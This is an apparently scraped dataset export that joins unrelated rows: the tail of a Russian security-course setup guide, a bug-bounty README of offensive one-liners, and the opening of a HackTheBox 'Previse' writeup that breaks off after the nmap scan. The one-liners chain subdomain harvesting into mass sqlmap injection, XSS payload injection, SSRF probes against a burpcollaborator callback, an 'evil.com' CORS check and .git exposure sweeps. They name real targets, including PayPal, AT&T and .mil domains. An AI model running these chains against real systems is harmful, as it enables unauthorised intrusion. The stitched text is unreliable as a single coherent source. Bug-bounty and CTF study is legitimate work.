https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet\n- Уязвимые приложения (Python, nodejs, Java (native binary and jackson)): https://github.com/GrrrDog/ZeroNights-WebVillage-2017\n- Ресерч по десериализации в Ruby: https://lab.wallarm.com/exploring-de-serialization-issues-in-ruby-projects-801e0a3e5a0a\n\n\n## Шпаргалка\n### Markdown\nДля написания информации по ресерчу используем Markdown-разметку.\nЧто понадобится:\n- шпаргалка по синтаксису есть [тут](https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet)\n- лучше использовать удобный текстовый редактор (я использую [Sublime Text](https://www.sublimetext.com/))\n- лучше в текстовом редакторе поставить плагин для предпроссмотра Markdown-файлов (я использую [этот](https://packagecontrol.io/packages/MarkdownPreview))\n\n### Python\nБудем использовать Python + Flask.\n\nУстановка окружения:\n- Windows http://timmyreilly.azurewebsites.net/python-pip-virtualenv-installation-on-windows/\n- Linux https://itsfoss.com/python-setup-linux/\n\nСоздать виртуальное окружение (можно без него, тогда надо использовать `pip3`):\n- `cd `\n- `virualenv`\n\nПоявится директория `venv` со структурой:\n```\n├── bin\n│   ├── activate\n│   ├── activate.csh\n│   ├── activate.fish\n│   ├── easy_install\n│   ├── easy_install-3.6\n│   ├── flask\n│   ├── pip\n│   ├── pip3\n│   ├── pip3.6\n│   ├── python\n│   ├── python3\n│   └── python3.6\n├── include\n├── lib\n│   └── python3.6\n├── lib64 -> lib\n├── pip-selfcheck.json\n└── pyvenv.cfg\n```\n\nИспользуем бинарники отсюда: `venv/bin/`\n\nУстановить Flask:\n- `venv/bin/pip3 install flask`\n\n### Git\nУстановка: https://git-scm.com/book/ru/v1/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5-%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-Git\n\nУказание авторства:\n- `git config --global user.name \"\"`\n- `git config --global user.email \"\"`\n\nКлонирование репозитория:\n- `git clone https://github.com/act1on3/shift2019.git`\n\nПерейти на новую ветку:\n- `git checkout -b `\n- `git push --set-upstream origin `\n\nОбновить локальный репозиторий из удаленного:\n- `git pull`\n\nДобавление измененных файлов и коммит своих изменений:\n- `git status`\n- `git add `\n- `git commit`\n- пишете описание коммита\n\nОтправка локальных изменений в репозиторий:\n- `git push`\n\n\n### Docker\nУстановка: \n- Windows https://docs.docker.com/docker-for-windows/install/\n- Ubuntu https://docs.docker.com/install/linux/docker-ce/ubuntu/\n- Debian https://docs.docker.com/install/linux/docker-ce/debian/\n- MacOS https://docs.docker.com/docker-for-mac/install/\n\nСоздать образ:\n- `cd open_redirect`\n- `docker build -t open_redirect .`\n- `docker run -p 8080:80 open_redirect` или добавить ключ `-d` для отправки в daemon-режим\n\nЗакрыть все контейнеры:\n- ```docker rm -f `docker ps -a -q` ```\n\nУдалить образы:\n- `docker images`\n- `docker image rm `\n\nУдалить все промежуточные образы (создаются во время билда):\n- ```docker rmi `docker images -f \"dangling=true\" -q` ```\n"}}},{"rowIdx":257,"cells":{"text":{"kind":"string","value":"## 👑 What is KingOfOneLineTips Project ? 👑\n\nOur main goal is to share tips from some well-known bughunters. Using recon methodology, we are able to find subdomains, apis, and tokens that are already exploitable, so we can report them. We wish to influence Onelinetips and explain the commands, for the better understanding of new hunters..\n\nWant to earn 100 dollars using my code on ocean-digital? https://m.do.co/c/703ff752fd6f\n\n## Join Us\n\n[![Telegram](https://patrolavia.github.io/telegram-badge/chat.png)](https://t.me/joinchat/DN_iQksIuhyPKJL1gw0ttA)\n[![The King](https://aleen42.github.io/badges/src/twitter.svg)](https://twitter.com/ofjaaah)\n\n\n## Special thanks\n\n- [@Stokfredrik](https://twitter.com/stokfredrik)\n- [@Jhaddix](https://twitter.com/Jhaddix)\n- [@pdiscoveryio](https://twitter.com/pdiscoveryio)\n- [@TomNomNom](https://twitter.com/TomNomNom)\n- [@jeff_foley](https://twitter.com/@jeff_foley)\n- [@NahamSec](https://twitter.com/NahamSec)\n- [@j3ssiejjj](https://twitter.com/j3ssiejjj)\n- [@zseano](https://twitter.com/zseano)\n- [@pry0cc](https://twitter.com/pry0cc)\n\n## Scripts that need to be installed\n\nTo run the project, you will need to install the following programs:\n\n- [Anew](https://github.com/tomnomnom/anew)\n- [Qsreplace](https://github.com/tomnomnom/qsreplace)\n- [Subfinder](https://github.com/projectdiscovery/subfinder)\n- [Gospider](https://github.com/jaeles-project/gospider)\n- [Github-Search](https://github.com/gwen001/github-search)\n- [Amass](https://github.com/OWASP/Amass)\n- [Hakrawler](https://github.com/hakluke/hakrawler)\n- [Gargs](https://github.com/brentp/gargs)\n- [Chaos](https://github.com/projectdiscovery/chaos-client)\n- [Httpx](https://github.com/projectdiscovery/httpx)\n- [Jaeles](https://github.com/jaeles-project/jaeles)\n- [Findomain](https://github.com/Edu4rdSHL/findomain)\n- [Gf](https://github.com/tomnomnom/gf)\n- [Unew](https://github.com/dwisiswant0/unew)\n- [Rush](https://github.com/shenwei356/rush)\n- [Jsubfinder](https://github.com/hiddengearz/jsubfinder)\n- [Shuffledns](https://github.com/projectdiscovery/shuffledns)\n- [haktldextract](https://github.com/hakluke/haktldextract)\n- [Gau](https://github.com/lc/gau)\n- [Axiom](https://github.com/pry0cc/axiom)\n- [Dalfox](https://github.com/hahwul/dalfox)\n\n### OneLiners\n\n### Axiom recon \"complete\"\n\n- [Explaining command](https://bit.ly/2NIavul)\n\n```bash\nfindomain -t domain -q -u url ; axiom-scan url -m subfinder -o subs --threads 3 ; axiom-scan subs -m httpx -o http ; axiom-scan http -m ffuf --threads 15 -o ffuf-output ; cat ffuf-output | tr \",\" \" \" | awk '{print $2}' | fff | grep 200 | sort -u \n```\n\n### Domain subdomain extraction \n\n- [Explaining command](https://bit.ly/3c2t6eG)\n\n```bash\ncat url | haktldextract -s -t 16 | tee subs.txt ; xargs -a subs.txt -I@ sh -c 'assetfinder -subs-only @ | anew | httpx -silent -threads 100 | anew httpDomain'\n\n```\n\n\n### Search .js using \n\n- [Explaining command](https://bit.ly/362LyQF)\n\n```bash\nassetfinder -subs-only DOMAIN -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | awk '{print $3}' | grep -E \"\\.js(?:onp?)?$\" | anew\n```\n\n\n### This one was huge ... But it collects .js gau + wayback + gospider and makes an analysis of the js. tools you need below.\n\n- [Explaining command](https://bit.ly/3sD0pLv)\n\n```bash\ncat dominios | gau |grep -iE '\\.js'|grep -iEv '(\\.jsp|\\.json)' >> gauJS.txt ; cat dominios | waybackurls | grep -iE '\\.js'|grep -iEv '(\\.jsp|\\.json)' >> waybJS.txt ; gospider -a -S dominios -d 2 | grep -Eo \"(http|https)://[^/\\\"].*\\.js+\" | sed \"s#\\] \\- #\\n#g\" >> gospiderJS.txt ; cat gauJS.txt waybJS.txt gospiderJS.txt | sort -u >> saidaJS ; rm -rf *.txt ; cat saidaJS | anti-burl |awk '{print $4}' | sort -u >> AliveJs.txt ; xargs -a AliveJs.txt -n 2 -I@ bash -c \"echo -e '\\n[URL]: @\\n'; python3 linkfinder.py -i @ -o cli\" ; cat AliveJs.txt | python3 collector.py output ; rush -i output/urls.txt 'python3 SecretFinder.py -i {} -o cli | sort -u >> output/resultJSPASS'\n```\n\n\n### My recon automation simple. OFJAAAH.sh\n\n- [Explaining command](https://bit.ly/3nWHM22)\n\n```bash\namass enum -d $1 -o amass1 ; chaos -d $1 -o chaos1 -silent ; assetfinder $1 >> assetfinder1 ; subfinder -d $1 -o subfinder1 ; findomain -t $1 -q -u findomain1 ;python3 /root/PENTESTER/github-search/github-subdomains.py -t YOURTOKEN -d $1 >> github ; cat assetfinder1 subfinder1 chaos1 amass1 findomain1 subfinder1 github >> hosts ; subfinder -dL hosts -o full -timeout 10 -silent ; httpx -l hosts -silent -threads 9000 -timeout 30 | anew domains ; rm -rf amass1 chaos1 assetfinder1 subfinder1 findomain1 github\n```\n\n### Download all domains to bounty chaos\n\n- [Explaining command](https://bit.ly/38wPQ4o)\n\n```bash\nwget https://raw.githubusercontent.com/KingOfBugbounty/KingOfBugBountyTips/master/downlink ; xargs -a downlink -I@ sh -c 'wget @ -q'; mkdir bounty ; unzip '*.zip' -d bounty/ ; rm -rf *zip ; cat bounty/*.txt >> allbounty ; sort -u allbounty >> domainsBOUNTY ; rm -rf allbounty bounty/ ; echo '@OFJAAAH'\n```\n\n### Recon to search SSRF Test\n\n- [Explaining command](https://bit.ly/3shFFJ5)\n\n```bash\nfindomain -t DOMAIN -q | httpx -silent -threads 1000 | gau | grep \"=\" | qsreplace http://YOUR.burpcollaborator.net\n```\n\n\n### ShuffleDNS to domains in file scan nuclei.\n\n- [Explaining command](https://bit.ly/2L3YVsc)\n\n```bash\nxargs -a domain -I@ -P500 sh -c 'shuffledns -d \"@\" -silent -w words.txt -r resolvers.txt' | httpx -silent -threads 1000 | nuclei -t /root/nuclei-templates/ -o re1\n```\n\n\n### Search Asn Amass\n\n- [Explaining command](https://bit.ly/2EMooDB)\n\nAmass intel will search the organization \"paypal\" from a database of ASNs at a faster-than-default rate. It will then take these ASN numbers and scan the complete ASN/IP space for all tld's in that IP space (paypal.com, paypal.co.id, paypal.me)\n\n```bash\namass intel -org paypal -max-dns-queries 2500 | awk -F, '{print $1}' ORS=',' | sed 's/,$//' | xargs -P3 -I@ -d ',' amass intel -asn @ -max-dns-queries 2500''\n```\n\n### SQLINJECTION Mass domain file\n\n- [Explaining command](https://bit.ly/354lYuf)\n\n```bash\n\nhttpx -l domains -silent -threads 1000 | xargs -I@ sh -c 'findomain -t @ -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1'\n```\n\n\n### Using chaos search js\n\n\n- [Explaining command](https://bit.ly/32vfRg7)\n\nChaos is an API by Project Discovery that discovers subdomains. Here we are querying thier API for all known subdoains of \"att.com\". We are then using httpx to find which of those domains is live and hosts an HTTP or HTTPs site. We then pass those URLs to GoSpider to visit them and crawl them for all links (javascript, endpoints, etc). We then grep to find all the JS files. We pipe this all through anew so we see the output iterativlely (faster) and grep for \"(http|https)://att.com\" to make sure we dont recieve output for domains that are not \"att.com\".\n\n```bash\nchaos -d att.com | httpx -silent | xargs -I@ -P20 sh -c 'gospider -a -s \"@\" -d 2' | grep -Eo \"(http|https)://[^/\"].*.js+\" | sed \"s#]\n```\n\n### Search Subdomain using Gospider\n\n\n- [Explaining command](https://bit.ly/2QtG9do)\n\nGoSpider to visit them and crawl them for all links (javascript, endpoints, etc) we use some blacklist, so that it doesn’t travel, not to delay, grep is a command-line utility for searching plain-text data sets for lines that match a regular expression to search HTTP and HTTPS\n\n```bash\ngospider -d 0 -s \"https://site.com\" -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/\"]+' | anew\n```\n\n### Using gospider to chaos\n\n\n- [Explaining command](https://bit.ly/2D4vW3W)\n\nGoSpider to visit them and crawl them for all links (javascript, endpoints, etc) chaos is a subdomain search project, to use it needs the api, to xargs is a command on Unix and most Unix-like operating systems used to build and execute commands from standard input.\n\n\n```bash\nchaos -d paypal.com -bbq -filter-wildcard -http-url | xargs -I@ -P5 sh -c 'gospider -a -s \"@\" -d 3'\n```\n\n### Using recon.dev and gospider crawler subdomains\n\n- [Explaining command](https://bit.ly/32pPRDa)\n\nWe will use recon.dev api to extract ready subdomains infos, then parsing output json with jq, replacing with a Stream EDitor all blank spaces\nIf anew, we can sort and display unique domains on screen, redirecting this output list to httpx to create a new list with just alive domains.\nXargs is being used to deal with gospider with 3 parallel proccess and then using grep within regexp just taking http urls.\n\n```bash\ncurl \"https://recon.dev/api/search?key=apiKEY&domain=paypal.com\" |jq -r '.[].rawDomains[]' | sed 's/ //g' | anew |httpx -silent | xargs -P3 -I@ gospider -d 0 -s @ -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/\"]+' | anew\n```\n\n### PSQL - search subdomain using cert.sh\n\n- [Explaining command](https://bit.ly/32rMA6e)\n\nMake use of pgsql cli of crt.sh, replace all comma to new lines and grep just twitch text domains with anew to confirm unique outputs\n\n```bash\npsql -A -F , -f querycrt -h http://crt.sh -p 5432 -U guest certwatch 2>/dev/null | tr ', ' '\\n' | grep twitch | anew\n```\n\n### Search subdomains using github and httpx\n\n- [Github-search](https://github.com/gwen001/github-search)\n\nUsing python3 to search subdomains, httpx filter hosts by up status-code response (200)\n\n```python\n./github-subdomains.py -t APYKEYGITHUB -d domaintosearch | httpx --title\n```\n\n### Search SQLINJECTION using qsreplace search syntax error\n\n- [Explained command](https://bit.ly/3hxFWS2)\n\n```bash\ngrep \"=\" .txt| qsreplace \"' OR '1\" | httpx -silent -store-response-dir output -threads 100 | grep -q -rn \"syntax\\|mysql\" output 2>/dev/null && \\printf \"TARGET \\033[0;32mCould Be Exploitable\\e[m\\n\" || printf \"TARGET \\033[0;31mNot Vulnerable\\e[m\\n\"\n```\n\n### Search subdomains using jldc\n\n- [Explained command](https://bit.ly/2YBlEjm)\n\n```bash\ncurl -s \"https://jldc.me/anubis/subdomains/att.com\" | grep -Po \"((http|https):\\/\\/)?(([\\w.-]*)\\.([\\w]*)\\.([A-z]))\\w+\" | anew\n```\n\n### Search subdomains in assetfinder using hakrawler spider to search links in content responses\n\n- [Explained command](https://bit.ly/3hxRvZw)\n\n```bash\nassetfinder -subs-only tesla.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | grep \"tesla\"\n```\n\n### Search subdomains in cert.sh\n\n- [Explained command](https://bit.ly/2QrvMXl)\n\n```bash\ncurl -s \"https://crt.sh/?q=%25.att.com&output=json\" | jq -r '.[].name_value' | sed 's/\\*\\.//g' | httpx -title -silent | anew\n```\n\n### Search subdomains in cert.sh assetfinder to search in link /.git/HEAD\n\n- [Explained command](https://bit.ly/3lhFcTH)\n\n```bash\ncurl -s \"https://crt.sh/?q=%25.tesla.com&output=json\" | jq -r '.[].name_value' | assetfinder -subs-only | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew\n```\n```bash\ncurl -s \"https://crt.sh/?q=%25.enjoei.com.br&output=json\" | jq -r '.[].name_value' | assetfinder -subs-only | httpx -silent -path /.git/HEAD -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew\n```\n### Collect js files from hosts up by gospider\n\n- [Explained command](https://bit.ly/3aWIwyI)\n\n```bash\nxargs -P 500 -a pay -I@ sh -c 'nc -w1 -z -v @ 443 2>/dev/null && echo @' | xargs -I@ -P10 sh -c 'gospider -a -s \"https://@\" -d 2 | grep -Eo \"(http|https)://[^/\\\"].*\\.js+\" | sed \"s#\\] \\- #\\n#g\" | anew'\n```\n\n### Subdomain search Bufferover resolving domain to httpx\n\n- [Explained command](https://bit.ly/3lno9j0)\n\n```bash\ncurl -s https://dns.bufferover.run/dns?q=.sony.com |jq -r .FDNS_A[] | sed -s 's/,/\\n/g' | httpx -silent | anew\n```\n\n### Using gargs to gospider search with parallel proccess\n- [Gargs](https://github.com/brentp/gargs)\n\n- [Explained command](https://bit.ly/2EHj1FD)\n\n```bash\nhttpx -ports 80,443,8009,8080,8081,8090,8180,8443 -l domain -timeout 5 -threads 200 --follow-redirects -silent | gargs -p 3 'gospider -m 5 --blacklist pdf -t 2 -c 300 -d 5 -a -s {}' | anew stepOne\n```\n\n### Injection xss using qsreplace to urls filter to gospider\n\n- [Explained command](https://bit.ly/3joryw9)\n\n```bash\ngospider -S domain.txt -t 3 -c 100 | tr \" \" \"\\n\" | grep -v \".js\" | grep \"https://\" | grep \"=\" | qsreplace '%22>'\n```\n\n### Extract URL's to apk\n\n- [Explained command](https://bit.ly/2QzXwJr)\n\n```bash\napktool d app.apk -o uberApk;grep -Phro \"(https?://)[\\w\\.-/]+[\\\"'\\`]\" uberApk/ | sed 's#\"##g' | anew | grep -v \"w3\\|android\\|github\\|schemas.android\\|google\\|goo.gl\"\n```\n\n### Chaos to Gospider\n\n- [Explained command](https://bit.ly/3gFJbpB)\n\n```bash\nchaos -d att.com -o att -silent | httpx -silent | xargs -P100 -I@ gospider -c 30 -t 15 -d 4 -a -H \"x-forwarded-for: 127.0.0.1\" -H \"User-Agent: Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\" -s @\n```\n\n### Checking invalid certificate\n\n- [Real script](https://bit.ly/2DhAwMo)\n- [Script King](https://bit.ly/34Z0kIH)\n\n```bash\nxargs -a domain -P1000 -I@ sh -c 'bash cert.sh @ 2> /dev/null' | grep \"EXPIRED\" | awk '/domain/{print $5}' | httpx\n```\n\n### Using shodan & Nuclei\n\n- [Explained command](https://bit.ly/3jslKle)\n\nShodan is a search engine that lets the user find specific types of computers connected to the internet, AWK Cuts the text and prints the third column.\nhttpx is a fast and multi-purpose HTTP using -silent. Nuclei is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use, You need to download the nuclei templates.\n\n```bash\nshodan domain DOMAIN TO BOUNTY | awk '{print $3}' | httpx -silent | nuclei -t /nuclei-templates/\n```\n\n### Open Redirect test using gf.\n\n- [Explained command](https://bit.ly/3hL263x)\n\necho is a command that outputs the strings it is being passed as arguments. What to Waybackurls? Accept line-delimited domains on stdin, fetch known URLs from the Wayback Machine for .domain.com and output them on stdout. Httpx? is a fast and multi-purpose HTTP. GF? A wrapper around grep to avoid typing common patterns and anew Append lines from stdin to a file, but only if they don't already appear in the file. Outputs new lines to stdout too, removes duplicates.\n\n```bash\necho \"domain\" | waybackurls | httpx -silent -timeout 2 -threads 100 | gf redirect | anew\n```\n\n### Using shodan to jaeles \"How did I find a critical today? well as i said it was very simple, using shodan and jaeles\".\n\n- [Explained command](https://bit.ly/2QQfY0l)\n\n```bash\nshodan domain domain| awk '{print $3}'| httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @\n```\n### Using Chaos to jaeles \"How did I find a critical today?.\n\n- [Explained command](https://bit.ly/2YXiK8N)\n\nTo chaos this project to projectdiscovery, Recon subdomains, using httpx, if we see the output from chaos domain.com we need it to be treated as http or https, so we use httpx to get the results. We use anew, a tool that removes duplicates from @TomNomNom, to get the output treated for import into jaeles, where he will scan using his templates. \n\n```bash\nchaos -d domain | httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @ \n```\n\n### Using shodan to jaeles\n\n- [Explained command](https://bit.ly/2Dkmycu)\n\n```bash\ndomain=\"domaintotest\";shodan domain $domain | awk -v domain=\"$domain\" '{print $1\".\"domain}'| httpx -threads 300 | anew shodanHostsUp | xargs -I@ -P3 sh -c 'jaeles -c 300 scan -s jaeles-signatures/ -u @'| anew JaelesShodanHosts \n```\n\n### Search to files using assetfinder and ffuf\n\n- [Explained command](https://bit.ly/2Go3Ba4)\n\n```bash\nassetfinder att.com | sed 's#*.# #g' | httpx -silent -threads 10 | xargs -I@ sh -c 'ffuf -w path.txt -u @/FUZZ -mc 200 -H \"Content-Type: application/json\" -t 150 -H \"X-Forwarded-For:127.0.0.1\"'\n```\n\n### HTTPX using new mode location and injection XSS using qsreplace.\n\n- [Explained command](https://bit.ly/2Go3Ba4)\n\n```bash\nhttpx -l master.txt -silent -no-color -threads 300 -location 301,302 | awk '{print $2}' | grep -Eo '(http|https)://[^/\"].*' | tr -d '[]' | anew | xargs -I@ sh -c 'gospider -d 0 -s @' | tr ' ' '\\n' | grep -Eo '(http|https)://[^/\"].*' | grep \"=\" | qsreplace \"\" \"'\n```\n\n### Scanning XSS with Gospider and Dalfox\n\n- [Explained command](https://bit.ly/3t9Y2Qh)\n\n```bash\ngospider -S httpx.txt -c 10 -d 5 --blacklist \".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)\" --other-source | grep -e \"code-200\" | awk '{print $5}'| grep \"=\" | qsreplace -a | dalfox pipe -b your_blind_xss_callback_domain | tee result.txt\n```\n\n### Grap internal juicy paths and do requests to them.\n\n- [Explained command](https://bit.ly/357b1IY)\n\n```bash\nexport domain=\"https://target\";gospider -s $domain -d 3 -c 300 | awk '/linkfinder/{print $NF}' | grep -v \"http\" | grep -v \"http\" | unfurl paths | anew | xargs -I@ -P50 sh -c 'echo $domain@ | httpx -silent -content-length'\n```\n\n### Download to list bounty targets We inject using the sed .git/HEAD command at the end of each url.\n\n- [Explained command](https://bit.ly/2R2gNn5)\n\n```bash\nwget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv | cat domains.txt | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew\n```\n\n### Using to findomain to SQLINJECTION.\n\n- [Explained command](https://bit.ly/2ZeAhcF)\n\n```bash\nfindomain -t testphp.vulnweb.com -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1\n```\n\n### Jaeles scan to bugbounty targets.\n\n- [Explained command](https://bit.ly/3jXbTnU)\n\n```bash\nwget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ jaeles scan -s /jaeles-signatures/ -u @\n```\n\n### JLDC domain search subdomain, using rush and jaeles.\n\n- [Explained command](https://bit.ly/3hfNV5k)\n\n```bash\ncurl -s \"https://jldc.me/anubis/subdomains/sony.com\" | grep -Po \"((http|https):\\/\\/)?(([\\w.-]*)\\.([\\w]*)\\.([A-z]))\\w+\" | httpx -silent -threads 300 | anew | rush -j 10 'jaeles scan -s /jaeles-signatures/ -u {}'\n```\n\n### Chaos to search subdomains check cloudflareip scan port.\n\n- [Explained command](https://bit.ly/3hfNV5k)\n\n```bash\nchaos -silent -d paypal.com | filter-resolved | cf-check | anew | naabu -rate 60000 -silent -verify | httpx -title -silent\n```\n### Search JS to domains file.\n\n- [Explained command](https://bit.ly/2Zs13yj)\n\n```bash\ncat FILE TO TARGET | httpx -silent | subjs | anew\n```\n\n### Search JS using assetfinder, rush and hakrawler.\n\n- [Explained command](https://bit.ly/3ioYuV0)\n\n```bash\nassetfinder -subs-only paypal.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | rush 'hakrawler -plain -linkfinder -depth 5 -url {}' | grep \"paypal\"\n```\n\n### Search to CORS using assetfinder and rush\n\n- [Explained command](https://bit.ly/33qT71x)\n\n```bash\nassetfinder fitbit.com | httpx -threads 300 -follow-redirects -silent | rush -j200 'curl -m5 -s -I -H \"Origin:evil.com\" {} | [[ $(grep -c \"evil.com\") -gt 0 ]] && printf \"\\n\\033[0;32m[VUL TO CORS] - {}\\e[m\"' 2>/dev/null\"\n```\n\n### Search to js using hakrawler and rush & unew\n\n- [Explained command](https://bit.ly/2Rqn9gn)\n\n```bash\ntac hostsGospider | rush -j 100 'hakrawler -js -plain -usewayback -depth 6 -scope subs -url {} | unew hakrawlerHttpx'\n```\n\n### XARGS to dirsearch brute force.\n\n- [Explained command](https://bit.ly/32MZfCa)\n\n```bash\ncat hosts | xargs -I@ sh -c 'python3 dirsearch.py -r -b -w path -u @ -i 200, 403, 401, 302 -e php,html,json,aspx,sql,asp,js' \n```\n\n### Assetfinder to run massdns.\n\n- [Explained command](https://bit.ly/32T5W5O)\n\n```bash\nassetfinder DOMAIN --subs-only | anew | massdns -r lists/resolvers.txt -t A -o S -w result.txt ; cat result.txt | sed 's/A.*//; s/CN.*// ; s/\\..$//' | httpx -silent\n```\n\n### Extract path to js\n\n- [Explained command](https://bit.ly/3icrr5R)\n\n```bash\ncat file.js | grep -aoP \"(?<=(\\\"|\\'|\\`))\\/[a-zA-Z0-9_?&=\\/\\-\\#\\.]*(?=(\\\"|\\'|\\`))\" | sort -u \n```\n\n### Find subdomains and Secrets with jsubfinder\n\n- [Explained command](https://bit.ly/3dvP6xq)\n\n```bash\ncat subdomsains.txt | httpx --silent | jsubfinder -s\n```\n\n### Search domains to Range-IPS.\n\n- [Explained command](https://bit.ly/3fa0eAO)\n\n```bash\ncat dod1 | awk '{print $1}' | xargs -I@ sh -c 'prips @ | hakrevdns -r 1.1.1.1' | awk '{print $2}' | sed -r 's/.$//g' | httpx -silent -timeout 25 | anew \n```\n\n### Search new's domains using dnsgen.\n\n- [Explained command](https://bit.ly/3kNTHNm)\n\n```bash\nxargs -a army1 -I@ sh -c 'echo @' | dnsgen - | httpx -silent -threads 10000 | anew newdomain\n```\n\n### List ips, domain extract, using amass + wordlist\n\n- [Explained command](https://bit.ly/2JpRsmS)\n\n```bash\namass enum -src -ip -active -brute -d navy.mil -o domain ; cat domain | cut -d']' -f 2 | awk '{print $1}' | sort -u > hosts-amass.txt ; cat domain | cut -d']' -f2 | awk '{print $2}' | tr ',' '\\n' | sort -u > ips-amass.txt ; curl -s \"https://crt.sh/?q=%.navy.mil&output=json\" | jq '.[].name_value' | sed 's/\\\"//g' | sed 's/\\*\\.//g' | sort -u > hosts-crtsh.txt ; sed 's/$/.navy.mil/' dns-Jhaddix.txt_cleaned > hosts-wordlist.txt ; cat hosts-amass.txt hosts-crtsh.txt hosts-wordlist.txt | sort -u > hosts-all.txt\n```\n### Search domains using amass and search vul to nuclei.\n\n- [Explained command](https://bit.ly/3gsbzNt)\n\n```bash\namass enum -passive -norecursive -d disa.mil -o domain ; httpx -l domain -silent -threads 10 | nuclei -t PATH -o result -timeout 30 \n```\n\n### Verify to cert using openssl.\n\n- [Explained command](https://bit.ly/37avq0C)\n\n```bash\nsed -ne 's/^\\( *\\)Subject:/\\1/p;/X509v3 Subject Alternative Name/{\n N;s/^.*\\n//;:a;s/^\\( *\\)\\(.*\\), /\\1\\2\\n\\1/;ta;p;q; }' < <(\n openssl x509 -noout -text -in <(\n openssl s_client -ign_eof 2>/dev/null <<<$'HEAD / HTTP/1.0\\r\\n\\r' \\\n -connect hackerone.com:443 ) )\n```\n\n\n### Search domains using openssl to cert.\n\n- [Explained command](https://bit.ly/3m9AsOY)\n\n```bash\nxargs -a recursivedomain -P50 -I@ sh -c 'openssl s_client -connect @:443 2>&1 '| sed -E -e 's/[[:blank:]]+/\\n/g' | httpx -silent -threads 1000 | anew \n```\n\n\n\n### Search to Hackers.\n\n- [Censys](https://censys.io)\n- [Spyce](https://spyce.com)\n- [Shodan](https://shodan.io)\n- [Viz Grey](https://viz.greynoise.io)\n- [Zoomeye](https://zoomeye.org)\n- [Onyphe](https://onyphe.io)\n- [Wigle](https://wigle.net)\n- [Intelx](https://intelx.io)\n- [Fofa](https://fofa.so)\n- [Hunter](https://hunter.io)\n- [Zorexeye](https://zorexeye.com)\n- [Pulsedive](https://pulsedive.com)\n- [Netograph](https://netograph.io)\n- [Vigilante](https://vigilante.pw)\n- [Pipl](https://pipl.com)\n- [Abuse](https://abuse.ch)\n- [Cert-sh](https://cert.sh)\n- [Maltiverse](https://maltiverse.com/search)\n- [Insecam](https://insecam.org)\n- [Anubis](https://https://jldc.me/anubis/subdomains/att.com)\n- [Dns Dumpster](https://dnsdumpster.com)\n- [PhoneBook](https://phonebook.cz)\n- [Inquest](https://labs.inquest.net)\n- [Scylla](https://scylla.sh)\n\n\n# Project\n\n[![made-with-Go](https://img.shields.io/badge/Made%20with-Go-1f425f.svg)](http://golang.org)\n[![made-with-bash](https://img.shields.io/badge/Made%20with-Bash-1f425f.svg)](https://www.gnu.org/software/bash/)\n[![Open Source? Yes!](https://badgen.net/badge/Open%20Source%20%3F/Yes%21/blue?icon=github)](https://github.com/Naereen/badges/)\n[![Telegram](https://patrolavia.github.io/telegram-badge/chat.png)](https://t.me/KingOfTipsBugBounty)\n\n\n\n\"Buy\n\n\n"}}},{"rowIdx":258,"cells":{"text":{"kind":"string","value":"# Previse - HackTheBox - Writeup\nLinux, 20 Base Points, Easy\n\n## Machine\n\n![‏‏Explore.JPG](images/Previse.JPG)\n\n## TL;DR\n\nTo solve this machine, we begin by enumerating open services using ```namp``` – finding ports ```22``` and ```80```.\n\n***User***: Running ```gobuster``` and found ```acounts.php``` page, Using that we can create a new account, From the web portal we download ```SITEBACKUP.ZIP``` file which contains the code of ```logs.php```, By reading the code we found RCE on ```delim``` parameter and found also DB credentials on ```config.php``` file. Using the RCE on ```logs.php``` we get a reverse shell as ```www-data```, Cracking the hash of ```m4lwhere``` user which takes from DB and login as ```m4lwhere``` user.\n\n***Root***: By running ```sudo -l``` we found ```/opt/scripts/access_backup.sh```, Because we have permission to change the ```PATH``` we just create our custom ```date``` command to get a reverse shell as ```root```.\n\n![pwn.JPG](images/pwn.JPG)\n\n## Previse Solution\n\n### User\n\nLet's start with ```nmap``` scanning:\n\n```console\n┌─[evyatar@parrot]─[/hackthebox/Previse]\n└──╼ $ nmap -p- -v -sV -sC -oA nmap/Previse 10.129.158.215\nStarting Nmap 7.80 ( https://nmap.org ) at 2021-08-10 00:14 IDT\nNmap scan report for 10.129.158.215\nHost is up (0.26s latency).\nNot shown: 998 closed ports\nPORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)\n| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 